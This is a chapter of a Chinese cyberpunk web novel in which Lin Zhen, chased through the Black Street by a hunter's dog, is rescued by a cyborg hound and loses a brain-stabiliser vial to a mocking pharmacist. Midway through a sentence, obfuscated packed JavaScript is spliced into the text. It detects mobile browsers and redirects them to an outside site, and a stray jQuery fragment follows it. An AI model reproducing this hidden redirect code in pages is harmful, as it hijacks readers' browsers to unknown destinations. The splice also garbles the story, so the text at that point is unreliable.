林真在黑街的巷子里绕了几个大圈。
她手里拿着枪,衣服上又满是新鲜的血迹,这很好地震慑了巷子里那些鬼鬼祟祟的身影,连沿街兜售非法梦境芯片的小孩都远远地避开了她。
林真没有看他们一眼。
她的脚步不停,一头拐进旁边更窄的小巷,眯起眼,意识一动。
ESCAPE。
黑色的意识世界如夜幕降临,重叠在真实的街景上。
几个街区之外,一个蓝色的脑子依旧死死咬着她。这已经是最后一个了。她已经变换了几次方向了,但对方似乎也开了外挂,分毫不差地跟上了她的脚步,甚至在逐渐逼近。
林真抬头望向旁边那栋破楼。
楼房的侧面吊着一架老旧的消防梯,通向二楼的平台。
林真用力拉了拉梯子。梯子“咯吱”作响,但还算牢固。
她忍着右肩被酒瓶砸出的疼,一口气攀了上去。
二楼的水泥平台似乎是违规建筑,和旁边那栋楼的走廊只隔着巴掌宽的缝隙。
这就是林真物色好的观察点了。
既然甩不掉,那就让她看看,对方到底开了什么挂。
她扶着墙,纵身跃上平台。平台上到处洒落着啤酒瓶盖、玻璃碎片,甚至还有废弃的针管。针管带着黑色的污渍,也不知道是不是陈年的血迹。
林真在露台边缘扫出一块空地,小心地趴下,透过缝隙看着下方的巷子。
露台边缘的苔藓擦过她的脸颊,留下几丝冰冰凉凉的水气。
不多时,巷口出现了一个影子。
那是一条牛头梗,黑毛,尾巴半截,脖子上的皮质项圈钉着寸把长的钢钉,连在猎人手里的狗绳上。
牛头梗低着头,嗅闻着潮湿的地面,发出“呼哧呼哧”的声音。
林真的瞳孔微微收缩,汗从掌心浸出来。
原来是这样。她闻了闻自己的手,浓烈的酒味和血腥气直冲天灵盖。
如果不能解决这条狗,她今天走不出黑街。
她屏住呼吸,用手肘撑在平台上,手里的柯尔特抵在露台边缘。她的手指压在扳机上,微微眯起眼睛,缓慢挪动枪口。
牛头梗走着S型,时不时左右张望,一点点进入了她的准星。
突然,它像是嗅到了什么,停下脚步,猛然抬起头。
那双血红色的眼睛直勾勾地盯住了林真。
林真毫不犹豫扣下扳机。
——砰
枪声在窄小的巷子里炸开。
林真来不及看结果,她快速起身,跨过缝隙,跳入旁边的楼房,拔腿就跑。
楼道尽头通向另一个街区。林真翻过二楼栏杆,落在一排低矮的铁皮屋上。有人从屋子里探出头,看见林真手里的枪,有飞快地缩了回去。
远处,暴烈的犬吠响起。
林真在屋顶上悚然回头。
一个街区外,那条牛头梗顶着半个血肉模糊的脑袋,冲她的方向不要命地冲来。
林真赶紧跳下房顶,在巷子里狂奔。
犬吠声时隐时现,时近时远。
她的心脏猛烈跳动着,肺部发紧,眼前阵阵发黑,再抬头时,眼前已是死路。
右边是连片的没有窗户的筒子楼,左边是一栋带着院子的二层小楼。
林真没有犹豫,翻过围栏,穿过院子,绕到小楼正面。屋子前门有着老式的门廊,入口处挂着一块深色的布帘。布帘垂到地面,后面隐约露出一扇木拉门。
林真抬手就要掀开布帘。
“呜——”
一声低低的鼻音几乎贴着她的小腿响起。
林真浑身一僵,握紧了手里的柯尔特,缓缓低头。
布帘底下,一条细长的狗脸探了出来。它有着黑棕色的皮毛,下颌却是金属的。
那条狗缓缓靠近林真,用鼻尖碰了碰她的裤腿。她今天穿的裤子是林雪的,一条黑色的工装裤,裤脚有松紧带,固定在脚踝上。
林真屏住了呼吸,一动不敢动。
她小时候经常做噩梦,梦里总是被狗追,被狗咬。家里人说,那是祖先们想她了。每做一次这样的梦,家里就会让她去灶台前拜拜,说今年清明一定多烧点纸钱。
或许是因此,她一直都很怕狗。
这么一犹豫,门廊下也传来了沉重的喘息声。
那条黑色的牛头梗爬上台阶。它的宽脸已经面目全非,一只眼球挂在眼眶外,随着动作晃动。它剩下的眼睛死死盯着林真,从嘴里发出低低的吼声,唾液混着血液滴落在地上。
林真左右看了看。
她今天出门犯狗,是吗?
真好,狗上加狗,左右为难。
她没有时间犹豫了,举枪再次瞄准了牛头梗,扣动扳机。
咔哒。
枪里竟然没有子弹了。
牛头梗压低身子停顿了半秒,发现没有威胁,脚爪在地上狠狠一抠,直接扑了上来。
林真只来得及抬手挡在胸前。
就在这时,一道银色的闪电越过她,狠狠撞在牛头梗身上。
扑上去的是那条细犬。林真这才看清,它的后半身,从胸口一直到后腿和尾巴,都是金属的。
牛头梗被撞得在门廊上打了个滚,好不容易借着栏杆翻身,又低吼着扑了回来。
可细犬毫不退让,合金腰部猛地一顶,死死挡住牛头梗的嘴,把对方顶回栏杆上。牛头梗的牙齿拼命咬在那块合金上,发出刺耳的摩擦声。
同时,细犬快速回身低头,对着牛头梗烂了一半的脑子就咬下去。
它用爪子扣,用牙齿咬,甚至用合金的下颌撞击。
直到,“咔”——
林真听到了清脆的骨裂声。
牛头梗全身抽搐了一下,颤抖着瘫软下来,舌头从嘴里挂了出来。
细犬继续撕咬了几秒,确认对方再无反抗,才松开嘴,帅气地甩了甩头。
好狗!林真几乎要给它鼓掌了。
细犬吐掉嘴里血糊糊的脑组织,过来蹭了蹭林真的裤腿,把嘴边的血糊吧啦都抹在了林真裤腿上。
林真:……
林真万分感动,但是不敢动。
她伸手,小心翼翼地摸了摸细犬的耳朵中间。
街角对面,追上来的猎人抬起□□,对准了她。
林真立刻举起空了的柯尔特。
细犬叫了一声。
林真身后突然一空。
木门被拉开了,一个温柔慵
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904334|176787||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
懒的女声嗔怪道:“黑子小姐,你又给我带了什么奇怪的客人回来?”
细犬立刻“呜”了一声,摇着合金尾巴去蹭刚出来那人的腿。
那是一位年轻女子,肤色很白,留着公主切,身上裹着一件宽大的灰蓝色浴衣。她看了一眼门廊里牛头梗的尸体,皱起眉头,“这只丑东西是你的?”
林真摇头,手里的柯尔特一指。
“也是,美人怎么能养这么丑的狗。”年轻女子轻笑一声,看向街道对面的猎人。
猎人微微垂下枪口:“药师,我只是抓个人,不小心路过你家门口,无意冒犯您。”
药师看向林真,她有一双猫一样的眼睛,只是左眼是一只白瓷义眼,瞳孔空白一片。
“你怎么他了?”药师问道。
“他要我身上的药剂。”
“唔。拿出来,我看看。”
见林真犹豫,药师撇了撇嘴:“小气。我一屋子的药剂,整个黑街都找我买药,又不抢你的。”
林真咬了咬牙,从口袋里摸出大脑稳定剂。
药师一把拿过,举到右眼前,就着阳光细细端详。药剂在玻璃管中泛着柔和的浅蓝色光芒。
对面,猎人的脚步在砂石地面上轻轻一挪,悄悄又逼近了几分。
“就这种玩意儿,你们也抢?”药师轻笑道。她像是真的觉得很好笑,连脸边的头发都在抖动。
“这种垃圾——”
药师忽然扬起手。
那瓶价值五千点的大脑稳定液,在阳光下划出一道弧线,越过门廊的栏杆。
林真和猎人几乎同时伸出手。可他们一个距离太远,一个被栏杆挡住,只能眼睁睁地看着药剂砸碎在石子路面上。
“好啦。”药师拍了拍手,“现在你可以走了吗?”
猎人脸颊的肌肉抽动,半晌才挤出一句话来:“……不愧是药师。”
“知道就快滚。呐,小妹妹,进来喝茶吗?”
林真已经翻过栏杆,直接跪在石子路上。她全然不顾膝盖传来钻心的疼痛,俯身去捡地上的碎片。
碎片躺在她的手心里,拼凑起来,真真实实是那一管大脑稳定液。
那一滩短命的液体快速浸入干裂的石缝,月光一样的药液融化在阳光下。
林真用力抠出沾了药剂的石头,紧紧握在手中。
她的手在颤抖。
一分钟前,她手里还有能救玛莎性命的药剂。一分钟后,只剩下锋利的无用的石块。
她怎么能把药剂交到别人手上?
她怎么能相信黑街人说的话?
她猛然回头,一咬牙,黑色世界展开。
你要付出代价,她想。
药师还趴在木头栏杆上,宽大的灰蓝色袖子垂下来,无知无觉地笑着问:“已经没有用了啦——进来喝茶吗?”
她绿色的脑子在林真面前闪烁,毫无防备。
名叫黑子小姐的细犬“呜”了一声,挡在林真和药师中间。
药师看着林真,歪了歪头,继续说:“卖那种东西,五区的药店真是不怕遭报应哎。”
林真睁大了眼睛。
“……你说什么?”她缓慢开口。
“唔,我说,进来喝茶吗?”